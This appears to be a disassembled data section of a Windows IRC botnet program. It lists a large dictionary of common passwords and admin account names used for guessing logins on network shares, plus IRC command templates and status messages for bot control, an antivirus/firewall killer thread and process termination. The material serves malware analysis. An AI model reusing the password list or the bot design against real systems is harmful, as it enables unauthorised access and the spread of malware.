		align 4
aAthena		db 'athena',0           ; DATA XREF: nsp0:004255F4o
		align 10h
aAsshole	db 'asshole',0          ; DATA XREF: nsp0:004255F0o
aAsian		db 'asian',0            ; DATA XREF: nsp0:004255ECo
		align 10h
aArtist		db 'artist',0           ; DATA XREF: nsp0:004255E8o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: nsp0:004255E4o
		align 10h
aArrow		db 'arrow',0            ; DATA XREF: nsp0:004255E0o
		align 4
aArmy		db 'army',0             ; DATA XREF: nsp0:004255DCo
		align 10h
aArlene		db 'arlene',0           ; DATA XREF: nsp0:004255D8o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: nsp0:004255D4o
aAria		db 'aria',0             ; DATA XREF: nsp0:004255D0o
		align 4
aApril		db 'april',0            ; DATA XREF: nsp0:004255CCo
		align 10h
aApollo13	db 'apollo13',0         ; DATA XREF: nsp0:004255C8o
		align 4
aAnything	db 'anything',0         ; DATA XREF: nsp0:004255C4o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: nsp0:004255C0o
		align 10h
aAnthropo	db 'anthropo',0         ; DATA XREF: nsp0:004255BCo
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: nsp0:004255B8o
aAnswer		db 'answer',0           ; DATA XREF: nsp0:004255B4o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: nsp0:004255B0o
		align 4
aAnon		db 'anon',0             ; DATA XREF: nsp0:004255ACo
		align 10h
aAnnette	db 'annette',0          ; DATA XREF: nsp0:004255A8o
aAnne		db 'anne',0             ; DATA XREF: nsp0:004255A4o
		align 10h
aAnna		db 'anna',0             ; DATA XREF: nsp0:004255A0o
		align 4
aAnita		db 'anita',0            ; DATA XREF: nsp0:0042559Co
		align 10h
aAnimals	db 'animals',0          ; DATA XREF: nsp0:00425598o
aAnimal		db 'animal',0           ; DATA XREF: nsp0:00425594o
		align 10h
aAngie		db 'angie',0            ; DATA XREF: nsp0:00425590o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: nsp0:0042558Co
		align 4
aAngela		db 'angela',0           ; DATA XREF: nsp0:00425588o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: nsp0:00425584o
		align 4
aAndy		db 'andy',0             ; DATA XREF: nsp0:00425580o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: nsp0:0042557Co
		align 4
aAndroid	db 'android',0          ; DATA XREF: nsp0:00425578o
aAndrea		db 'andrea',0           ; DATA XREF: nsp0:00425574o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: nsp0:00425570o
		align 10h
aAnarchy	db 'anarchy',0          ; DATA XREF: nsp0:0042556Co
aAnarchis	db 'anarchis',0         ; DATA XREF: nsp0:00425568o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: nsp0:00425564o
		align 4
aAnal		db 'anal',0             ; DATA XREF: nsp0:00425560o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: nsp0:0042555Co
		align 10h
aAmerica	db 'america',0          ; DATA XREF: nsp0:00425558o
aAmber		db 'amber',0            ; DATA XREF: nsp0:00425554o
		align 10h
aAmanda		db 'amanda',0           ; DATA XREF: nsp0:00425550o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: nsp0:0042554Co
aAlphabet	db 'alphabet',0         ; DATA XREF: nsp0:00425548o
		align 4
aAllow		db 'allow',0            ; DATA XREF: nsp0:00425544o
		align 4
aAllison	db 'allison',0          ; DATA XREF: nsp0:00425540o
aAlison		db 'alison',0           ; DATA XREF: nsp0:0042553Co
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: nsp0:00425538o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: nsp0:00425534o
		align 4
aAlice		db 'alice',0            ; DATA XREF: nsp0:00425530o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401AC7+13BCo
					; nsp0:0042552Co
aAlias		db 'alias',0            ; DATA XREF: nsp0:00425528o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: nsp0:00425524o
aAlexande	db 'alexande',0         ; DATA XREF: nsp0:00425520o
		align 10h
aAlex		db 'alex',0             ; DATA XREF: nsp0:0042551Co
		align 4
aAlert		db 'alert',0            ; DATA XREF: nsp0:00425518o
		align 10h
aAlbert		db 'albert',0           ; DATA XREF: nsp0:00425514o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: nsp0:00425510o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: nsp0:0042550Co
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: nsp0:00425508o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: nsp0:00425504o
		align 10h
aAids		db 'aids',0             ; DATA XREF: nsp0:00425500o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: nsp0:004254FCo
		align 4
aAdult		db 'adult',0            ; DATA XREF: nsp0:004254F8o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: nsp0:004254F4o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: nsp0:004254F0o
		align 10h
aAdam		db 'adam',0             ; DATA XREF: nsp0:004254ECo
		align 4
aAction		db 'action',0           ; DATA XREF: sub_401AC7+3FE9o
					; nsp0:004254E8o
		align 10h
aAccount	db 'account',0          ; DATA XREF: nsp0:004254E4o
aAccept		db 'accept',0           ; DATA XREF: sub_408CF8+5F1o
					; nsp0:004254E0o
		align 10h
aAcademic	db 'academic',0         ; DATA XREF: nsp0:004254DCo
		align 4
aAcademia	db 'academia',0         ; DATA XREF: nsp0:004254D8o
		align 4
a000000		db '000000',0           ; DATA XREF: nsp0:004254D4o
					; nsp0:00426EECo
		align 10h
a00000		db '00000',0            ; DATA XREF: nsp0:004254D0o
					; nsp0:00426EE8o
		align 4
a0000		db '0000',0             ; DATA XREF: nsp0:004254CCo
					; nsp0:00426EE4o
		align 10h
a000		db '000',0              ; DATA XREF: nsp0:004254C8o
					; nsp0:00426EE0o
aTesting	db 'testing',0          ; DATA XREF: nsp0:004254C4o
aDeath		db 'death',0            ; DATA XREF: nsp0:004254C0o
		align 4
a00		db '00',0               ; DATA XREF: nsp0:004254BCo
					; nsp0:00426EDCo
		align 4
a0_0:					; DATA XREF: sub_40BBDB+2CAo
					; nsp0:004254B8o ...
		unicode	0, <0>,0
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: nsp0:004254B4o
					; nsp0:0042732Co
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: nsp0:004254B0o
					; nsp0:00427328o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: nsp0:004254ACo
					; nsp0:00427324o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: nsp0:004254A8o
					; nsp0:00427320o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: nsp0:004254A4o
					; nsp0:0042731Co
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: nsp0:004254A0o
					; nsp0:00427318o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: nsp0:0042549Co
					; nsp0:00427314o
aXx		db 'xx',0               ; DATA XREF: nsp0:00425498o
					; nsp0:00427310o
		align 4
asc_42BB9C:				; DATA XREF: nsp0:00425494o
					; nsp0:0042730Co ...
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: nsp0:00425490o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: nsp0:0042548Co
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: nsp0:00425488o
		align 4
aMirc		db 'mirc',0             ; DATA XREF: sub_401AC7+39F7o
					; nsp0:00425484o
		align 10h
aKiddie		db 'kiddie',0           ; DATA XREF: nsp0:00425480o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: nsp0:0042547Co
		align 4
aScript		db 'script',0           ; DATA XREF: nsp0:00425478o
		align 10h
aHax0r		db 'hax0r',0            ; DATA XREF: nsp0:00425474o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: nsp0:00425470o
		align 10h
aL337		db 'l337',0             ; DATA XREF: nsp0:0042546Co
		align 4
aL33t		db 'l33t',0             ; DATA XREF: nsp0:00425468o
		align 10h
aLeet		db 'leet',0             ; DATA XREF: nsp0:00425464o
		align 4
aKiller		db 'killer',0           ; DATA XREF: nsp0:00425460o
		align 10h
a0wn3d		db '0wn3d',0            ; DATA XREF: nsp0:0042545Co
					; nsp0:00426F48o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: nsp0:00425458o
		align 10h
aHeaven		db 'heaven',0           ; DATA XREF: nsp0:00425454o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: nsp0:00425450o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: nsp0:0042544Co
aSatanik	db 'satanik',0          ; DATA XREF: nsp0:00425448o
aSatan		db 'satan',0            ; DATA XREF: nsp0:00425444o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: nsp0:00425440o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: nsp0:0042543Co
aMatt		db 'Matt',0             ; DATA XREF: nsp0:00425438o
		align 4
aMat		db 'Mat',0              ; DATA XREF: nsp0:00425434o
aPw		db 'pw',0               ; DATA XREF: nsp0:00425430o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: nsp0:0042542Co
		align 4
aMypass		db 'mypass',0           ; DATA XREF: nsp0:00425428o
		align 10h
aPw123		db 'pw123',0            ; DATA XREF: nsp0:00425424o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: nsp0:00425420o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: nsp0:0042541Co
aMypc		db 'mypc',0             ; DATA XREF: nsp0:00425418o
		align 4
aLove		db 'love',0             ; DATA XREF: nsp0:00425414o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: nsp0:00425410o
aLogin		db 'login',0            ; DATA XREF: sub_401AC7+6D4o
					; nsp0:0042540Co
		align 4
aHome		db 'home',0             ; DATA XREF: nsp0:00425408o
		align 10h
aZxcv		db 'zxcv',0             ; DATA XREF: nsp0:00425404o
					; nsp0:0042734Co
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: nsp0:00425400o
		align 10h
aQwer		db 'qwer',0             ; DATA XREF: nsp0:004253FCo
					; nsp0:004272B8o
		align 4
aSecret		db 'secret',0           ; DATA XREF: nsp0:004253F8o
		align 10h
aAsdf		db 'asdf',0             ; DATA XREF: nsp0:004253F4o
					; nsp0:00427364o
		align 4
aPc		db 'pc',0               ; DATA XREF: nsp0:004253F0o
		align 4
aWin		db 'win',0              ; DATA XREF: nsp0:004253ECo
aTest123	db 'test123',0          ; DATA XREF: nsp0:004253E8o
aAbc		db 'abc',0              ; DATA XREF: nsp0:004253E4o
aAaa		db 'aaa',0              ; DATA XREF: nsp0:004253E0o
					; nsp0:0042728Co
aA_0:					; DATA XREF: sub_401AC7+4000o
					; nsp0:004253DCo ...
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: nsp0:004253D8o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: nsp0:004253D4o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: nsp0:004253D0o
aIrule		db 'irule',0            ; DATA XREF: nsp0:004253CCo
		align 4
aOwned		db 'owned',0            ; DATA XREF: nsp0:004253C8o
		align 4
a0wned		db '0wned',0            ; DATA XREF: nsp0:004253C4o
					; nsp0:00426F4Co
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: nsp0:004253C0o
		align 10h
aNetdevil	db 'netdevil',0         ; DATA XREF: nsp0:004253BCo
		align 4
aDevil		db 'devil',0            ; DATA XREF: nsp0:004253B8o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: nsp0:004253B4o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: nsp0:004253B0o
		align 4
aGod		db 'god',0              ; DATA XREF: nsp0:004253ACo
aSex_0		db 'sex',0              ; DATA XREF: nsp0:004253A8o
					; nsp0:off_438C98o
aPat		db 'pat',0              ; DATA XREF: nsp0:004253A4o
aPatrick	db 'patrick',0          ; DATA XREF: nsp0:004253A0o
aAlpha		db 'alpha',0            ; DATA XREF: nsp0:0042539Co
		align 10h
a007		db '007',0              ; DATA XREF: nsp0:00425398o
					; nsp0:00426F38o
a123abc		db '123abc',0           ; DATA XREF: nsp0:00425394o
					; nsp0:00427148o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: nsp0:00425390o
					; nsp0:00427154o
		align 4
a123123		db '123123',0           ; DATA XREF: nsp0:0042538Co
					; nsp0:004270F4o
		align 10h
a121212		db '121212',0           ; DATA XREF: nsp0:00425388o
					; nsp0:004270ECo
		align 4
a111111		db '111111',0           ; DATA XREF: nsp0:00425384o
					; nsp0:00426F64o
		align 10h
a110		db '110',0              ; DATA XREF: nsp0:00425380o
					; nsp0:004270B8o
a2600		db '2600',0             ; DATA XREF: nsp0:0042537Co
					; nsp0:00427240o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_417368+BAo
					; nsp0:00425378o ...
		align 4
a2002		db '2002',0             ; DATA XREF: nsp0:00425374o
					; nsp0:0042722Co
		align 4
aXp_0		db 'xp',0               ; DATA XREF: nsp0:00425370o
		align 10h
aEnable		db 'enable',0           ; DATA XREF: nsp0:0042536Co
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: nsp0:00425368o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: nsp0:00425364o
a123asd		db '123asd',0           ; DATA XREF: nsp0:00425360o
					; nsp0:0042714Co
		align 4
aSuper		db 'super',0            ; DATA XREF: nsp0:0042535Co
		align 10h
aInternet	db 'Internet',0         ; DATA XREF: nsp0:00425358o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: nsp0:00425350o
					; nsp0:00427150o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: nsp0:0042534Co
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: nsp0:00425344o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: nsp0:00425340o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: nsp0:00425338o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: nsp0:00425334o
		align 4
a88888888	db '88888888',0         ; DATA XREF: nsp0:00425330o
					; nsp0:00427084o
		align 4
a11111111	db '11111111',0         ; DATA XREF: nsp0:0042532Co
					; nsp0:00426F6Co
		align 4
a111		db '111',0              ; DATA XREF: nsp0:00425328o
					; nsp0:00426F58o
a54321		db '54321',0            ; DATA XREF: nsp0:00425324o
					; nsp0:0042724Co
		align 10h
a654321		db '654321',0           ; DATA XREF: nsp0:00425320o
					; nsp0:00427250o
		align 4
a123456789	db '123456789',0        ; DATA XREF: nsp0:0042531Co
					; nsp0:0042710Co
		align 4
a12345678	db '12345678',0         ; DATA XREF: nsp0:00425318o
					; nsp0:00427108o
		align 10h
a1234567	db '1234567',0          ; DATA XREF: nsp0:00425314o
					; nsp0:00427104o
a123456		db '123456',0           ; DATA XREF: nsp0:00425310o
					; nsp0:00427100o
		align 10h
a12345		db '12345',0            ; DATA XREF: nsp0:0042530Co
					; nsp0:004270FCo
		align 4
a1234		db '1234',0             ; DATA XREF: nsp0:00425308o
					; nsp0:004270F8o
		align 10h
a123		db '123',0              ; DATA XREF: nsp0:00425304o
					; nsp0:004270F0o
a12		db '12',0               ; DATA XREF: nsp0:00425300o
					; nsp0:004270E4o
		align 4
a1:					; DATA XREF: nsp0:004252FCo
					; nsp0:00426F50o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: nsp0:004252F8o
aChangeme_0	db 'Changeme',0         ; DATA XREF: nsp0:004252F4o
		align 10h
aChangeme	db 'changeme',0         ; DATA XREF: nsp0:004252F0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: nsp0:004252ECo
		align 4
aUnix		db 'unix',0             ; DATA XREF: nsp0:004252E8o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: nsp0:004252E4o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: nsp0:004252E0o
		align 4
aServer_2	db 'SERVER',0           ; DATA XREF: nsp0:004252DCo
					; nsp0:0042769Co
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: nsp0:004252D8o
					; nsp0:004272ECo ...
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: nsp0:004252D4o
					; nsp0:00427694o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: nsp0:004252CCo
					; nsp0:0042768Co
		align 4
aTest		db 'TEST',0             ; DATA XREF: nsp0:004252C8o
					; nsp0:00427688o
		align 4
aEdu		db 'edu',0              ; DATA XREF: nsp0:004252C4o
					; nsp0:00427684o
aOwner_1	db 'Owner',0            ; DATA XREF: nsp0:004252C0o
					; nsp0:00427680o
		align 10h
aOwner_0	db 'OWNER',0            ; DATA XREF: nsp0:004252BCo
					; nsp0:0042767Co
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: nsp0:004252B8o
					; nsp0:00427678o
		align 10h
aFiles		db 'FILES',0            ; DATA XREF: nsp0:004252B4o
					; nsp0:00427674o
		align 4
aRead		db 'READ',0             ; DATA XREF: nsp0:004252B0o
					; nsp0:00427670o
		align 10h
aBoth		db 'BOTH',0             ; DATA XREF: nsp0:004252ACo
					; nsp0:0042766Co
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: nsp0:004252A8o
					; nsp0:00427668o
		align 10h
aFull_0		db 'FULL',0             ; DATA XREF: nsp0:004252A4o
					; nsp0:00427664o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: nsp0:004252A0o
					; nsp0:00427660o
		align 10h
aShare_0	db 'SHARE',0            ; DATA XREF: nsp0:0042529Co
					; nsp0:0042765Co
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: nsp0:00425298o
					; nsp0:00427658o
		align 10h
aPassword	db 'PASSWORD',0         ; DATA XREF: nsp0:00425294o
					; nsp0:00427654o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: nsp0:00425290o
					; nsp0:00427650o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: nsp0:00425288o
					; nsp0:00427648o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: nsp0:00425284o
					; nsp0:00427644o
		align 4
aBla		db 'bla',0              ; DATA XREF: nsp0:00425280o
					; nsp0:00427640o
aFubar		db 'fubar',0            ; DATA XREF: nsp0:0042527Co
					; nsp0:0042763Co
		align 10h
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: nsp0:00425270o
					; nsp0:00427630o
		align 10h
aUser_0		db 'USER',0             ; DATA XREF: sub_40DA9B+262o
					; nsp0:00425264o ...
		align 4
aDb2		db 'db2',0              ; DATA XREF: nsp0:00425260o
aOracle		db 'oracle',0           ; DATA XREF: nsp0:0042525Co
					; nsp0:00425348o
		align 4
aDba		db 'dba',0              ; DATA XREF: nsp0:00425258o
aDatabase	db 'database',0         ; DATA XREF: nsp0:00425254o
					; nsp0:0042533Co
		align 4
aDefault	db 'default',0          ; DATA XREF: nsp0:00425250o
					; nsp0:004259DCo
aGuest_0	db 'guest',0            ; DATA XREF: nsp0:0042524Co
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: nsp0:00425248o
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: nsp0:00425244o
					; nsp0:00426970o
aStudent	db 'student',0          ; DATA XREF: nsp0:off_425240o
					; nsp0:004268B8o
aOwner		db 'owner',0            ; DATA XREF: nsp0:0042523Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: nsp0:00425238o
					; nsp0:00425354o
		align 4
aRoot		db 'root',0             ; DATA XREF: nsp0:00425234o
					; nsp0:0042528Co ...
		align 4
aStaff		db 'staff',0            ; DATA XREF: nsp0:00425230o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: nsp0:0042522Co
		align 4
aAdmins		db 'admins',0           ; DATA XREF: nsp0:00425228o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: nsp0:00425224o
aAdministrateur	db 'administrateur',0   ; DATA XREF: nsp0:00425220o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: nsp0:0042521Co
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: nsp0:00425218o
					; nsp0:00425278o ...
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_415F6F:loc_41607Ao
					; nsp0:00425214o ...
		align 10h
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: nsp0:00425168o
		align 10h
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: nsp0:00425164o
		align 10h
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: nsp0:00425160o
		align 10h
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: nsp0:off_42515Co
		align 10h
a@room		db '*@room',0           ; DATA XREF: nsp0:off_425158o
		align 4
dword_42C118	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_401221+465o
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42C14C	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_401221+41Ao
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_42C178	db  2Dh	; -		; DATA XREF: sub_401221+3EDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_42C1B8	db  2Dh	; -		; DATA XREF: sub_401221+39Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_42C1DC	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: sub_401221+361o
		dd 2E646574h, 0
dword_42C1F8	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_401221+28Co
dword_42C204	dd 255C7325h, 73h	; DATA XREF: sub_401221+186o
					; sub_413D6E+7Eo
dword_42C20C	dd 73257325h, 0		; DATA XREF: sub_401221+10Ao
					; sub_40E7B9+EAo ...
unk_42C214	db  2Dh	; -		; DATA XREF: sub_4017E7+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40194F+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40194F+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7122o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+710Do
		align 4
unk_42C27C	db  2Dh	; -		; DATA XREF: sub_401AC7+7100o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_42C29C	db  2Dh	; -		; DATA XREF: sub_401AC7+70E3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_42C2BC	db  2Dh	; -		; DATA XREF: sub_401AC7+7085o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+7062o
		align 10h
unk_42C310	db  2Dh	; -		; DATA XREF: sub_401AC7+7015o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+7006o
					; sub_401AC7+7076o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401AC7+6FF2o
		align 10h
asc_42C390:				; DATA XREF: sub_401AC7+6FC2o
		unicode	0, <~>,0
unk_42C394	db  2Dh	; -		; DATA XREF: sub_401AC7+6F71o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_42C3B8	db  2Dh	; -		; DATA XREF: sub_401AC7+6F07o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 10h
unk_42C3E0	db  2Dh	; -		; DATA XREF: sub_401AC7+6EC1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_42C404	db  2Dh	; -		; DATA XREF: sub_401AC7+6EA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42C428	db  2Dh	; -		; DATA XREF: sub_401AC7+6E84o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_42C44C	db  2Dh	; -		; DATA XREF: sub_401AC7+6E60o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 10h
dword_42C470	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401AC7+6E43o
		dd 2E732520h, 0
unk_42C48C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_40888Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_42C4B8	db  2Dh	; -		; DATA XREF: sub_401AC7+6DBCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_42C4DC	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_408802o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_42C504	db  2Dh	; -		; DATA XREF: sub_401AC7+6D31o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401AC7+6D17o
unk_42C530	db  2Dh	; -		; DATA XREF: sub_401AC7+6C0Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_42C558	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4086BBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_42C57C	db  2Dh	; -		; DATA XREF: sub_401AC7+6BEAo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_42C59C	db  2Dh	; -		; DATA XREF: sub_401AC7+6BBDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42C5C4	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_408664o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_42C5EC	db  2Dh	; -		; DATA XREF: sub_401AC7+6B6Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_42C60C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4085F9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_42C63C	db  2Dh	; -		; DATA XREF: sub_401AC7+6B28o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_42C65C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_408595o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
